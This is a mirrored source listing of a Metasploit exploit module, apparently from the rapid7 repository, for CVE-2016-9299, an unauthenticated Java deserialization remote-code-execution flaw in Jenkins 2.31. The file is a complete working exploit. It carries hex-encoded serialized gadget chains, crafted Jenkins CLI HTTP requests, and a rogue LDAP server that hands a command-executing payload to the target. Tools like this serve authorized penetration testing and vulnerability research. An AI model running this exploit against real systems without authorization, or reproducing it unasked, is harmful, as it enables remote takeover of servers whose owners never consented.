Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
21633 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
STAGE1 = "aced00057372002b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e466c6174334d6170a300f47ee17184980300007870770400000002737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced530200014c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b0300007870737200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c656d656e747371007e0003787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740008041ac080131d170678787371007e00090000000077040000000078737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870707372001f636f6d2e73756e2e6a6e64692e6c6461702e4c646170417474726962757465c47b6b02a60583c00300034c000a62617365437478456e767400154c6a6176612f7574696c2f486173687461626c653b4c000a6261736543747855524c7400124c6a6176612f6c616e672f537472696e673b4c000372646e7400134c6a617661782f6e616d696e672f4e616d653b787200256a617661782e6e616d696e672e6469726563746f72792e42617369634174747269627574655d95d32a668565be0300025a00076f7264657265644c000661747472494471007e001778700074000077040000000078707400156c6461703a2f2f6c6f63616c686f73743a313233347372001a6a617661782e6e616d696e672e436f6d706f736974654e616d6517251a4b93d67afe0300007870770400000000787871007e000e707871007e000e78"
10
# java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 'touch /tmp/wtf'
11
STAGE2 = "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000e746f756368202f746d702f777466740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878"
12
13
SEARCH_REQUEST = 3
14
SEARCH_RES_ENTRY = 4
15
SEARCH_RES_DONE = 5
16
ABANDON_REQUEST = 16
17
18
include Msf::Exploit::Remote::Tcp
19
20
def initialize(info = {})
21
super(
22
update_info(
23
info,
24
'Name' => 'Jenkins CLI HTTP Java Deserialization Vulnerability',
25
'Description' => %q{
26
This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on
27
the Jenkins, which allows remote arbitrary code execution via HTTP. Authentication is not
28
required to exploit this vulnerability.
29
},
30
'Author' => [
31
'Matthias Kaiser', # Original Vulnerability discovery
32
'Alisa Esage', # Private Exploit
33
'Ivan', # Metasploit Module Author
34
'YSOSerial' # Stage 2 payload
35
],
36
'License' => MSF_LICENSE,
37
'Platform' => ['linux', 'unix'],
38
'Arch' => ARCH_CMD,
39
'Targets' => [ [ 'Jenkins 2.31', {} ] ],
40
'References' => [
41
['CVE', '2016-9299'],
42
['URL', 'https://github.com/jenkinsci-cert/SECURITY-218'],
43
['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-11-16'],
44
['URL', 'http://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class-deepsec-edition'],
45
['URL', 'https://github.com/frohoff/ysoserial']
46
],
47
'Payload' => {
48
'Compat' =>
49
{
50
'PayloadType' => 'cmd'
51
}
52
},
53
'DefaultTarget' => 0,
54
'DisclosureDate' => '2016-11-16',
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
63
register_options([
64
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
65
Opt::RPORT('8080'),
66
OptAddress.new('SRVHOST', [ true, "The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0", '127.0.0.1' ]),
67
OptPort.new('SRVPORT', [ true, "The local port to listen on for the ldap server.", 1389 ]),
68
OptAddress.new('LDAPHOST', [ true, "The ldap host the exploit will try to connect to ", '127.0.0.1' ])
69
])
70
end
71
72
def target_uri
73
begin
74
URI(datastore['TARGETURI'])
75
rescue ::URI::InvalidURIError
76
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
77
raise Msf::OptionValidateError.new(['TARGETURI'])
78
end
79
end
80
81
def normalize_uri(*strs)
82
new_str = strs * "/"
83
84
new_str = new_str.gsub!("//", "/") while new_str.index("//")
85
86
# Makes sure there's a starting slash
87
unless new_str[0, 1] == '/'
88
new_str = '/' + new_str
89
end
90
91
new_str
92
end
93
94
def aseq(x, tag)
95
s = seq(x)
96
s.tag_class = :APPLICATION
97
s.tag = tag
98
s
99
end
100
101
def seq(x)
102
OpenSSL::ASN1::Sequence.new(x)
103
end
104
105
def int(x)
106
OpenSSL::ASN1::Integer.new(x)
107
end
108
109
def string(x)
110
OpenSSL::ASN1::OctetString.new(x)
111
end
112
113
def set(x)
114
OpenSSL::ASN1::Set.new(x)
115
end
116
117
def enum(x)
118
OpenSSL::ASN1::Enumerated.new(x)
119
end
120
121
def java_string(s)
122
length = s.length
123
124
packed_length = [length].pack("S>")
125
126
"#{packed_length}#{s}"
127
end
128
129
def search_res_done(message_id)
130
s = seq([
131
int(message_id),
132
aseq([enum(0), string(""), string("")], SEARCH_RES_DONE)
133
])
134
s.to_der
135
end
136
137
def make_stage2(command)
138
[STAGE2].pack("H*").gsub("\x00\x0Etouch /tmp/wtf", java_string(command))
139
end
140
141
def make_stage2_reply(command, message_id)
142
java_class_name_attributes = seq([string("javaClassName"), set([string("WTF")])])
143
java_serialized_data_attributes = seq([string("javaSerializedData"), set([string(make_stage2(command))])])
144
attributes = seq([java_class_name_attributes, java_serialized_data_attributes])
145
s = seq([
146
int(message_id),
147
aseq([string("cn=wtf, dc=example, dc=com"), attributes], SEARCH_RES_ENTRY)
148
])
149
s.to_der
150
end
151
152
def make_stage1(ldap_url)
153
[STAGE1].pack("H*").gsub("\x00\x15ldap://localhost:1234", java_string(ldap_url))
154
end
155
156
def read_ldap_packet(socket)
157
buffer = ""
158
159
bytes = socket.read(2)
160
if bytes[0] != "0"
161
raise "NOT_LDAP: #{bytes.inspect} #{bytes[0]}"
162
end
163
164
buffer << bytes
165
166
length = bytes[1].ord
167
if (length & (1 << 7)) != 0
168
length_bytes_length = length ^ (1 << 7)
169
170
length_bytes = socket.read(length_bytes_length)
171
buffer << length_bytes
172
length = length_bytes.bytes.reduce(0) { |c, e| (c << 8) + e }
173
end
174
175
buffer << socket.read(length)
176
buffer
177
end
178
179
def write_chunk(socket, chunk)
180
socket.write(chunk.bytesize.to_s(16) + "\r\n")
181
socket.write(chunk)
182
socket.write("\r\n")
183
end
184
185
def exploit
186
uuid = SecureRandom.uuid
187
188
ldap_port = datastore["SRVPORT"]
189
ldap_host = datastore["SRVHOST"]
190
ldap_external_host = datastore["LDAPHOST"]
191
192
command = payload.encoded
193
host = datastore["RHOST"]
194
195
ldap = TCPServer.new(ldap_host, ldap_port)
196
197
cli_path = normalize_uri(target_uri.path, "cli")
198
199
begin
200
download = connect()
201
202
begin
203
download.write("POST #{cli_path} HTTP/1.1\r\n" +
204
"Host: #{host}\r\n" +
205
"User-Agent: curl/7.36.0\r\n" +
206
"Accept: */*\r\n" +
207
"Session: #{uuid}\r\n" +
208
"Side: download\r\n" +
209
"Content-Length: 0\r\n" +
210
"Content-Type: application/x-www-form-urlencoded\r\n\r\n")
211
212
download.read(20)
213
214
upload = connect()
215
begin
216
upload.write("POST #{cli_path} HTTP/1.1\r\n" +
217
"Host: #{host}\r\n" +
218
"User-Agent: curl/7.36.0\r\n" +
219
"Accept: */*\r\n" +
220
"Session: #{uuid}\r\n" +
221
"Side: upload\r\n" +
222
"Content-type: application/octet-stream\r\n" +
223
"Transfer-Encoding: chunked\r\n\r\n")
224
225
write_chunk(upload, "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=")
226
write_chunk(upload, "\00\00\00\00")
227
228
upload.flush
229
230
stage1 = make_stage1("ldap://#{ldap_external_host}:#{ldap_port}")
231
232
chunk_header = [stage1.bytesize].pack("S>")
233
write_chunk(upload, chunk_header + stage1)
234
235
upload.flush
236
237
client = ldap.accept
238
begin
239
# this hardcodes an ldap conversation
240
241
# read bindRequest
242
read_ldap_packet(client)
243
244
# write bindResponse
245
client.write(["300c02010161070a010004000400"].pack("H*"))
246
247
# read searchRequest
248
read_ldap_packet(client)
249
250
# write searchResEntry
251
client.write(["3034020102642f04066f753d777466302530230411737562736368656d61537562656e747279310e040c636e3d737562736368656d61"].pack("H*"))
252
253
# write searchResDone
254
client.write(search_res_done(2))
255
256
# read abandonReqeust or searchRequest
257
bytes = read_ldap_packet(client)
258
packet = OpenSSL::ASN1.decode(bytes)
259
260
# abandonRequest packet is sometimes sent
261
# so we distinguish between abandonRequest/searchRequest
262
263
tag = packet.value[1].tag
264
if tag == ABANDON_REQUEST
265
266
bytes = read_ldap_packet(client)
267
packet = OpenSSL::ASN1.decode(bytes)
268
tag = packet.value[1].tag
269
end
270
271
if tag == SEARCH_REQUEST
272
273
message_id = packet.value[0].value.to_int
274
# write searchResEntry
275
client.write(make_stage2_reply(command, message_id))
276
277
# write searchResDone
278
client.write(search_res_done(message_id))
279
else
280
raise "Unexpected packet: #{tag}"
281
end
282
283
client.flush
284
ensure
285
client.close
286
end
287
ensure
288
upload.close
289
end
290
ensure
291
download.close
292
end
293
ensure
294
ldap.close
295
end
296
end
297
298
def check
299
result = Exploit::CheckCode::Safe
300
301
begin
302
if vulnerable?
303
result = Exploit::CheckCode::Vulnerable
304
end
305
rescue Msf::Exploit::Failed => e
306
vprint_error(e.message)
307
return Exploit::CheckCode::Unknown
308
end
309
310
result
311
end
312
313
def vulnerable?
314
res = send_request_cgi({
315
'uri' => normalize_uri(target_uri.path)
316
})
317
unless res
318
fail_with(Failure::Unknown, 'The connection timed out.')
319
end
320
321
http_headers = res.headers
322
323
http_headers['X-Jenkins'] && http_headers['X-Jenkins'] <= "2.31"
324
end
325
326
# Connects to the server, creates a request, sends the request,
327
# reads the response
328
#
329
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
330
#
331
def send_request_cgi(opts = {}, timeout = 20)
332
begin
333
c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
334
c.connect
335
r = c.request_cgi(opts)
336
c.send_recv(r, timeout)
337
rescue ::Errno::EPIPE, ::Timeout::Error
338
nil
339
end
340
end
341
342
end
343
344